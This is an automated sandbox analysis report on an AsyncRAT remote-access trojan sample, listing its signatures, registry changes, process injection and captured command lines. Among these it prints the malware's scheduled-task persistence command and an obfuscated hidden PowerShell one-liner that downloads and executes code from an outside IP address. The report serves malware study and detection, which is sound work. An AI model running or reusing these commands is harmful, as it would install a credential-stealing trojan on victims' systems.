Malware Analysis Report

2025-04-13 12:32

Sample ID 240406-b75ccshd67
Target a8884d5c23826a156a79a2e40ddbc10f.bin
SHA256 632f2b2d1c5bcf9a75ba1119ab45ebf47efcf588859271163eed515d4ff21a5d
Tags
asyncrat rat15 evasion rat spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

632f2b2d1c5bcf9a75ba1119ab45ebf47efcf588859271163eed515d4ff21a5d

Threat Level: Known bad

The file a8884d5c23826a156a79a2e40ddbc10f.bin was found to be: Known bad.

Malicious Activity Summary

asyncrat rat15 evasion rat spyware stealer trojan

AsyncRat

Async RAT payload

Blocklisted process makes network request

Checks computer location settings

Loads dropped DLL

Executes dropped EXE

Reads user/profile data of web browsers

Checks whether UAC is enabled

Unsigned PE

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Modifies Internet Explorer settings

Delays execution with timeout.exe

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Modifies registry class

Uses Task Scheduler COM API

Suspicious use of SetWindowsHookEx

Suspicious use of SendNotifyMessage

Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary

Suspicious use of FindShellTrayWindow

Creates scheduled task(s)

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-04-06 01:48

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-04-06 01:48

Reported

2024-04-06 01:50

Platform

win7-20240221-en

Max time kernel

120s

Max time network

150s

Command Line

"C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"

Signatures

AsyncRat

rat asyncrat

Async RAT payload

rat
Description Indicator Process Target
N/A N/A N/A N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\cmd.exe N/A

Reads user/profile data of web browsers

spyware stealer

Checks whether UAC is enabled

evasion trojan
Description Indicator Process Target
Key value queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe N/A

Enumerates physical storage devices

Creates scheduled task(s)

persistence
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\schtasks.exe N/A

Delays execution with timeout.exe

evasion
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\timeout.exe N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IETld\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\IntelliForms C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\DomainSuggestion C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\InternetRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 60a4f18bc487da01 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "418529956" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Zoom C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\PageSetup C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{B6E68F01-F3B7-11EE-83C2-E25BC60B6402} = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\GPU C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002dcc56832ee45b40af0f973e997a3e3e00000000020000000000106600000001000020000000ff079cf19009903546a9954e0d2ae41fcea7719ba5d1b1531b93b1193123fe0c000000000e80000000020000200000007b3dae47d07f86d72d2e50d35ca759fb12c1f9ffbc72cb3a34bbe576745fafc820000000b7be1eb04333939e854354243636450193c3418e5b7b072aba995e3838c120d940000000c11ab8525152ff992494ba23970f5a69c13ccdf2dc0e0087cb47b2122f5fc7ebfaa0da360d8fb314087276f24b265c83f9f3e0ea35ce615e97692572ff1f58d7 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (data) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb010000002dcc56832ee45b40af0f973e997a3e3e0000000002000000000010660000000100002000000098044493e648299cf2c4b4ac6bb9a7099c5969dfb8136cfecc4a547042996128000000000e8000000002000020000000a02d90c65e43d6bcc0ec0cc0c0d028a2188d4247423d218e0cb00d3702466327900000002d12a2879aec163c9edfd9ebdfd80d3e3006f11037b1322860f79b854277a3e0611b1bd398f7ba192d6fff9ba94fb4c1244ba050106c33dbdf7a4b637ee0fa2b79572b68826b4b3e1eb003564d340358f8047156aa18ffc0f569d31c729823c699f429852cd0a9b30032816ab9a01e695e8922f5f9eed7b9298edf47c901c296b63b8732d1d70e4e517d1b2cd865a3a140000000348f3fa137ea18240211410827a577a626b3271fdb63c71e745b2afd5390c7ec1eaf465c26f2370fde1650fe367473d1c02a7f19fbb69c8fff8732ed9ab5fc16 C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (int) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0" C:\Program Files\Internet Explorer\iexplore.exe N/A
Set value (str) \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running" C:\Program Files\Internet Explorer\iexplore.exe N/A
Key created \REGISTRY\USER\S-1-5-21-1298544033-3225604241-2703760938-1000\Software\Microsoft\Internet Explorer\SearchScopes C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Internet Explorer\iexplore.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2524 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 2524 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 2524 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 2524 wrote to memory of 2100 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manage.exe
PID 2524 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 2524 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 2524 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 2524 wrote to memory of 2532 N/A C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe C:\Users\Admin\AppData\Local\Windows Session Manager.exe
PID 2704 wrote to memory of 2800 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2704 wrote to memory of 2800 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2704 wrote to memory of 2800 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2704 wrote to memory of 2800 N/A C:\Program Files\Internet Explorer\iexplore.exe C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
PID 2100 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2932 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2100 wrote to memory of 2152 N/A C:\Users\Admin\AppData\Local\Windows Session Manage.exe C:\Windows\SysWOW64\cmd.exe
PID 2932 wrote to memory of 1204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2932 wrote to memory of 1204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2932 wrote to memory of 1204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2932 wrote to memory of 1204 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\schtasks.exe
PID 2152 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2152 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2152 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2152 wrote to memory of 1048 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\timeout.exe
PID 2152 wrote to memory of 2000 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
PID 2152 wrote to memory of 2000 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
PID 2152 wrote to memory of 2000 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
PID 2152 wrote to memory of 2000 N/A C:\Windows\SysWOW64\cmd.exe C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe
PID 2000 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2276 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2000 wrote to memory of 2756 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\cmd.exe
PID 2756 wrote to memory of 2028 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2756 wrote to memory of 2028 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2756 wrote to memory of 2028 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2756 wrote to memory of 2028 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2276 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2276 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2276 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2276 wrote to memory of 1428 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\cmd.exe
PID 2028 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2028 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2028 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2028 wrote to memory of 1244 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1428 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1428 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1428 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 1428 wrote to memory of 1124 N/A C:\Windows\SysWOW64\cmd.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2000 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 2788 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe
PID 2000 wrote to memory of 1224 N/A C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe C:\Windows\SysWOW64\WScript.exe

Processes

C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe

"C:\Users\Admin\AppData\Local\Temp\821900f5cf0981a062d0683d5a5905ce407a035d9e0ab7ee0bd110a7403321d1.exe"

C:\Users\Admin\AppData\Local\Windows Session Manage.exe

"C:\Users\Admin\AppData\Local\Windows Session Manage.exe"

C:\Users\Admin\AppData\Local\Windows Session Manager.exe

"C:\Users\Admin\AppData\Local\Windows Session Manager.exe"

C:\Program Files\Internet Explorer\iexplore.exe

"C:\Program Files\Internet Explorer\iexplore.exe" -Embedding

C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE

"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2704 CREDAT:275457 /prefetch:2

C:\Windows\SysWOW64\cmd.exe

"C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"' & exit

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmp3092.tmp.bat""

C:\Windows\SysWOW64\schtasks.exe

schtasks /create /f /sc onlogon /rl highest /tn "Windows Session Manager" /tr '"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"'

C:\Windows\SysWOW64\timeout.exe

timeout 3

C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe

"C:\Users\Admin\AppData\Roaming\Windows Session Manager.exe"

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\gaguzh.bat" "

C:\Windows\SysWOW64\cmd.exe

cmd /c ""C:\Users\Admin\AppData\Local\Temp\ipzwkl.bat" "

C:\Windows\SysWOW64\cmd.exe

CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\cmd.exe

CMD.EXE /C POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752','ADSTRING');[BYTE[]];IEX($25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5+$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE+$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598)

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

POWERSHELL.EXE -NOP -WIND HIDDEN -EXEC BYPASS -NONI [BYTE[]];$25D01E91C5099F12D5C4ADC8073538D37E16C2199CF5D34DB9F8AE2C5D89D068AA2683AD353D3967F2B9B88B5894BD05B79E7243F3811BC6FC8A20188D5AE02471EE7DF69531E65E9B7EC50FE980B10E43E55D93F3DE128A08C39ABDD282EE95C82174D5='IEX(NEW-OBJECT NET.W';$A55666DE73B6BFF12C8DB3E5D0E9B44E9DEE7B0E24A70B140DF28B821CE8E128374DD4D0F694BE49A497C7AB5EF4DB22D3A62D388F46C082AAD18E298EF1CE5D0E83A9E8EC2E71402F86482732CD40D8E0A9ADBD1535732815FDFDFAA9CA8149494A6EBE='EBCLIENT).DOWNLO';[BYTE[]];$723612B9EDEAF84A7D6C498150302EEE81F63388631D29EDE055DF882B3E35B65604B6B6BBBF559D5BD7231BE09CAE4350359E2369BBA61A7C82D6FE3FE2C88C44455A8B22CCD3810ED99949B9789646BB67975381BAFD6CD0E53719AF56F74C58562598='13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92094D3772A443D6E8C81C78BD04451BA2CA8C42DA6FFDD55443297F46E73DF313138752(''http://146.103.11.88:222/8X.jpg'')'.REPLACE('13ABC6DFDF7CE8EC5DB5A033E99C577ECEC6B91E88EAF4BDF63B18038D711235CA42AD4EB4E1C1F8F681FE1336CFE10DF37B8719F0DD659A8CD6DDC8C1F9A26C92